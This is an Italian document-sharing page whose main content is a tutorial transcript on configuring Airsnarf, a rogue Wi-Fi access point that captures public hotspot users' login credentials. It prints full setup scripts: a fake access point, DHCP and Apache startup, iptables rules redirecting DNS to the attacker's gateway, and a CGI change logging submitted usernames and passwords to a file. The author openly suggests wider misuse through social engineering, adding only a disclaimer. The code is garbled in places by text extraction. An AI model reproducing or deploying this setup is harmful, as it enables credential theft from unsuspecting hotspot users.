Airsnarf è stato sviluppato e rilasciato per dimostrare la vulnerabilità intrinseca degli hot-spot.



Documenti analoghi
GLI SCRIPT DI SHELL. Lucidi a cura di B.De Carolis. UNIX shell script UdB- Dip Informatica

Installazione LAMP. Installare un server lamp su Linux Ubuntu. Per installare un server LAMP in Ubuntu come prima cosa apriamo il terminale:

Sicurezza nelle reti

Tre catene (chains) di base, si possono definire altre catene (convenzionalmente in minuscolo)

Corsi di Formazione Open Source & Scuola Provincia di Pescara gennaio 2005 aprile ~ anna.1704@ .

NOZIONI BASE SHELL E SCRIPT LINUX

Laboratorio di Sistemi Programmare in Php con NetBeans Php. Programmare in Php con Xampp e NetBeans IDE

Installare e configurare OpenVPN: due scenari. Laboratorio di Amministrazione di Sistemi T Massimiliano Mattetti - Marco Prandini

MailStore Proxy è disponibile gratuitamente per tutti i clienti di MailStore Server all indirizzo

Rsync su GNU/Linux e su Windows? (Backup sincronizzato su disco di rete e/o RAID1 su server FreeNAS)

Zeroshell per tutti! Pietro Palazzo,Nicola Contillo. 16 gennaio 2012

DynDNS tra Client e server Linux Ubuntu (Client e server 8.04 LTS)

CONFIGURAZIONE SERVER APACHE (XAMPP): ACCESSO SICURO A DIRECTORY DEL FILE SYSTEM.

Plugin Single Sign-On

Questa guida è scritta per distribuzioni Debian/Ubuntu-like con l'attuale kernel : 2.6.xx. Per verificare l'attuale kernel linux, digitare

Introduzione ai servizi di Linux

Il sistema operativo UNIX/Linux. Gli script di shell

Server Samba con Debian Squeeze

Lezione II: Web server e ambiente di lavoro

(1) Network Camera

Comandi filtro: sed. Se non si specificano azioni, sed stampa sullo standard output le linee in input, lasciandole inalterate.

Transparent Firewall

Guida al cracking di chiavi wep

Università degli Studi di Verona. Linux Ubuntue ilcompilatorec. Dicembre Sergio Marin Vargas. Dipartimento di Biotecnologie

Zeroshell: access point

Creazione script per gestione 3G in failover

By E.M. Comandi fondamentali per LINUX

Controller Wireless NXC Series

FIREWALL iptables V1.1 del 18/03/2013

Procedura di Aggiornamento TO.M.M.YS. SQL 2005 e 2008

Configurazione WAN (accesso internet)

Università degli studi di Udine

Configurazione del Sistema Operativo Microsoft Windows XP per accedere alla rete Wireless dedicata agli Studenti LUSPIO

NUOVA PROCEDURA COPIA ED INCOLLA PER L INSERIMENTO DELLE CLASSIFICHE NEL SISTEMA INFORMATICO KSPORT.

TOR. The Onion Router project Marcello Viti

Metodi informatici della Fisica

l Editor vi vi (visual editor) è stato scritto per essere utilizzabile con qualsiasi tipo di terminale.

Configurazione del Sistema Operativo Microsoft Windows XP per accedere alla rete Wireless dedicata agli Ospiti LUSPIO

Vediamo come analizzare i pacchetti in transito su una rete con uno dei più celebri sniffer di matrice italiana: Ettercap.

Corso ForTIC C2 LEZIONE n. 8. Cos'è la shell Le variabili d'ambiente L'uso della shell per la realizzazione di semplici script

Risoluzione errore nell innalzamento di livello di un DC W2012 inserito in un contesto a 32 bit

Apache 2, PHP5, MySQL 5

Guida alla configurazione Configuration Guide

BackBox: WiFi Libero? Ti spio! Andrea Draghetti

Elementi di Sicurezza e Privatezza Laboratorio 3 - Web Server Apache (1) Chiara Braghin chiara.braghin@unimi.it!

Sicurezza del Web server

Laboratorio di Reti Esercitazione N 2-DNS Gruppo 9. Laboratorio di Reti Relazione N 2. Mattia Vettorato Alberto Mesin

Guida Migrazione Posta Operazioni da effettuare entro il 15 gennaio 2012

Manuale d Uso di Mailchimp:

Dopo avere effettuato il download, scompattare il file in una cartella temporanea ed avviare l'installazione

Lezione 1 Connessione ad una rete

CONFIGURAZIONE WAMP SERVER + SSL (HTTPS)

Modulo. Programmiamo in Pascal. Unità didattiche COSA IMPAREREMO...

COMANDI PER VI. Se voglio impostare come editor predefinito VI, nella bash scrivo il seguente comando: export EDITOR= vim

-Fig.1-

6. Predisposizione di un Web server di sviluppo

Guida Avanzata. 1. Convertire un gioco da ISO a GOD. 2. Trasferire i giochi da HD Esterno/Chiavetta a HD Interno Xbox

Requisiti per la Configurazione Internet

Xampp. Valeriano Maysonnave - A.A. 2014/2015 -

CONFIGURAZIONE XAMPP + SSL (HTTPS)

Università Degli Studi dell Insubria Centro Sistemi Informativi e Comunicazione (SIC) Rete Wireless di Ateneo UninsubriaWireless

ATOLLO BACKUP GUIDA INSTALLAZIONE E CONFIGURAZIONE

Configuration Managment. Tutorial. Configuration Managment Creare un progetto SVN su Ubuntu. Creare un progetto SVN su Ubuntu.

Per trovare un IP address (indirizzo IP) di un router Linksys, controllare le impostazioni del computer. Per istruzioni, cliccare qui.

Guida all utilizzo del compilatore lcc-win32 per creare una applicazione console

CONFIGURAZIONE ACER TRAVELMATE C300 TABLET PC UBUNTU 8.04

Contenuto del pacchetto

Guida rapida di installazione

Dal sito: Articolo recensito da Paolo Latella

1. FileZilla: installazione

GHPPEditor è un software realizzato per produrre in modo rapido e guidato un part program per controlli numerici Heidenhain.

Networking. Notare che le modifiche apportate attraverso ifconfig riguardano lo stato attuale del sistema e non sono persistenti.

Abilitazione e uso del protocollo EtherTalk

Configurazione avanzata di XAMPP

XAMPP (a cura di Michele Acierno a.a. 2012/2013)

Informazioni Generali (1/2)

GUIDA ALLA CREAZIONE DI UN AUTO AGGIUNTIVA

BACKUP APPLIANCE. User guide Rev 1.0

DINAMIC: gestione assistenza tecnica

Dal menù Network/Interface/Ethernet configurare le interfacce WAN e LAN con gli opportuni ip:

CPE Telsey Manuale d uso per utenti

Per visualizzare il valore di tutte le variabili d ambiente si usa il comando env

GUIDA RAPIDA CONFIGURAZIONE RETE DDNS - INTERNET

Scritto da Administrator Lunedì 01 Settembre :29 - Ultimo aggiornamento Sabato 19 Giugno :28

I tutorial di MadLabs.. Installazione e prima configurazione

TGLSERVER: Sistema di gestione protezioni flottanti

Server dolphin: installazione e configurazione di un server web

- Controllo di flusso: for -

Modifiche in ELCAD/AUCOPLAN Service Pack 4

INSTALLAZIONE FUJITSU BLADES BX300 via PXE

Stream EDitor (sed) sed NON modifica l'input 2. L'output viene inviato allo standard output e puo' essere rediretto

TUTORIAL AGENDINA MOBILE

Joomla: Come installarlo e come usarlo. A cura di

Introduzione allo sviluppo Web. Studium Generale, a.a , II semestre

Progetto di Ingegneria del Software 2. SWIMv2

Print Server, questo sconosciuto...

Manuale di Installazione PHPNuke in Italiano Edizione Visuale By CLA

CREARE UNA TAB DI FACEBOOK SULLA PAGINA AZIENDALE

SmoothWall Support : Setting up Greenbow VPN Client Wednesday, January 5, 2005

Transcript:

In questo tutorial verrà spiegato come configurare al 100 % Airsnarf. Mah...Cos è Airsnarf??? Airsnarf è stato sviluppato e rilasciato per dimostrare la vulnerabilità intrinseca degli hot-spot. Airsnarf è stato sviluppato e rilasciato per dimostrare la vulnerabilità intrinseca degli hot-spot. E quindi, una banale wireless utility che permette all Eavesdropper di carpire le credenziali di accesso (user e pwd) di utenti che fanno uso di hot-spot pubblici. (Naturalmente l uso che se ne può fare è ben più ampio se usiamo un po di immaginazione e Social Engineering!) 1. Prima di tutto creiamo due cartelle, chiamate html e dhcp, nei rispettivi percorsi: html ----> /var/www/ dhcp ----> /var/state/ 2. Ora apriamo un editor di testo (nano, vi, kate, kedit, ecc ) e creiamo il file rc.httpd e vi copiamo all interno il seguente source code: #!/bin/sh # Start/stop/restart the Apache web server. conffile=/etc/httpd/httpd.conf function start() { if grep -q "^Include /etc/apache/mod_ssl.conf" $conffile ; then /usr/sbin/apachectl startssl else 1 / 6

/usr/sbin/apachectl start fi function stop() { /usr/sbin/apachectl stop function restart() { /usr/sbin/apachectl restart # See how we were called. case "$1" in start) start stop) stop restart) restart *) echo "usage $0 start stop restart" esac 3. Ora riapriamo l editor di testo (nano, vi, kate, kedit, ecc ) e creiamo il file rc.dhcpd e vi copiamo all interno il seguente source code: #!/bin/sh # Start/stop/restart the Samba SMB file/print server. dhcpd_start() { if [ -x /usr/sbin/dhcpd -a -r /etc/dhcpd.conf ]; then echo "Starting Dhcp..." /usr/sbin/dhcpd -cf /etc/dhcpd.conf ath0 fi dhcpd_stop() { killall dhcpd dhcpd_restart() { dhcpd_stop sleep 2 dhcpd_start 2 / 6

case "$1" in 'start') dhcpd_start 'stop') dhcpd_stop 'restart') dhcpd_restart *) # Default is "start", for backwards compatibility with previous # Slackware versions. This may change to a 'usage' error someday. dhcpd_start esac NOTA BENE: al posto di ath0 dovrete inserire il nome della vostra periferica wifi, che si trova dando il comando iwconfig da bash. 4. Entrambi i file andranno copiati nella seguente directory: /etc/rc.d/ 5. Ora che siamo nella directory /etc/rc.d/ ed abbiamo copiato i due file, dobbiamo dargli i permessi di eseguibilità. Apriamo una shell (ed abbiamo copiato i due file, dobbiamo dargli i permessi di eseguibilità. Apriamo una shell (F4) e digitiamo: chmod 755 /etc/rc.d/rc.httpd e poi chmod 755 /etc/rc.d/rc.dhcpd 6. Adesso andiamo in /pentest/wireless/airsnarf-0.2 e apriamo Airsnarf con un editor di testo. Sostituiamo il contenuto del file con il seguente source code: #!/bin/bash # airsnarf.sh # A rogue AP setup utility. echo "Airsnarf - A rogue AP setup utility." echo "0.2" echo "The Shmoo Group" echo "------------------------------------" # here are some variables you may want to edit WWW_ROOT="/var/www/html" CGI_ROOT="/var/www/cgi-bin" LOCAL_CFG="./cfg" 3 / 6

# specify another config dir with a command line arg if you want if [ $1 ] then LOCAL_CFG="$1" fi source $LOCAL_CFG/airsnarf.cfg # create the dhcpd.conf echo -n "Creating dhcpd.conf..." sed s/airsnarf/$rogue_net/g./etc/dhcpd.src > /etc/dhcpd.conf # copy over the www stuff echo -n "Building the captive portal..." cp $LOCAL_CFG/html/* $WWW_ROOT cp $LOCAL_CFG/cgi-bin/* $CGI_ROOT chmod +x $CGI_ROOT/* # set our wireless parameters echo -n "Setting the wireless parameters..." ifconfig $ROGUE_INTERFACE down wlanconfig $ROGUE_INTERFACE destroy wlanconfig $ROGUE_INTERFACE create wlandev wifi0 wlanmode ap ifconfig $ROGUE_INTERFACE up iwconfig $ROGUE_INTERFACE essid $ROGUE_SSID mode master # set our ip and default route echo -n "Setting the ip address and default route..." ifconfig $ROGUE_INTERFACE $ROGUE_GW route add -net 0.0.0.0 gw $ROGUE_GW # restart some services /usr/sbin/dhcpd -cf /etc/dhcpd.conf /usr/sbin/apachectl restart #/etc/init.d/sendmail restart # set up the firewall to redirect echo -n "Setting up firewall to redirect DNS..." echo 1 > /proc/sys/net/ipv4/ip_forward modprobe iptable_nat iptables -F -t nat iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to $ROGUE_GW # dammit, I swear this used to work with just an OUTPUT rule... iptables -t nat -A OUTPUT -p udp --dport 53 -j DNAT --to $ROGUE_GW # start the local dns resolver 4 / 6

echo "Starting local DNS resolver..." chmod +x./bin/airsnarf_dns.pl./bin/airsnarf_dns.pl 7. Adesso andiamo in /pentest/wireless/airsnarf-0.2/cfg e apriamo Airsnarf.cfg con un editor di testo. Sostituiamo il contenuto del file con il seguente source code: ROGUE_SSID="Nome Hot-Spot" ROGUE_NET="192.168.1." ROGUE_GW="192.168.1.254" ROGUE_INTERFACE="ath0" #export ROGUE_SSID ROGUE_NET ROGUE_GW ROGUE_INTERFACE NOTA BENE: Al posto di ath0 dovrete inserire il nome della vostra periferica wifi, che si trova dando il comando iwconfig da bash. 8. Adesso andiamo in /pentest/wireless/airsnarf-0.2/cfg/cgi-bin e apriamo Airsnarf.cgi con un editor di testo. Cerchiamo la serie di righe di codice che iniziano con "$mailprog = '/usr/sbin/sendmail';" e finiscono con "close(mail);" e le commentiamo col carattere # oppure le cancelliamo. E subito dopo vi copiamo il seguente source code: open (MYFILE, '>>/tmp/airsnarf_pwds.txt'); foreach $key (keys(%form)) { print MYFILE "$key = $FORM{$keyn"; print MYFILE "----------------------n"; ; 5 / 6

9. Ora basterà che apriate una shell, andiate in /pentest/wireless/airsnarf-0.2/ e lanciate airsnarf. NOTA BENE: Una volta avviato airsnarf aspettiate che compaia la scritta Waitintg for connections e terminate airsnarf. Andate in /var/www/html e copiatevi tutti i file contenutivi, una volta fatto questo incollate tutti i file qui: /var/www/htdocs. 10. ORA POTRETE FARE TUTTI I TEST DEL CASO! L autore del presente articolo non si assume nessuna responsabilità nel caso i contenuti sopracitati vengano usati per atti criminali e facinorosi. 6 / 6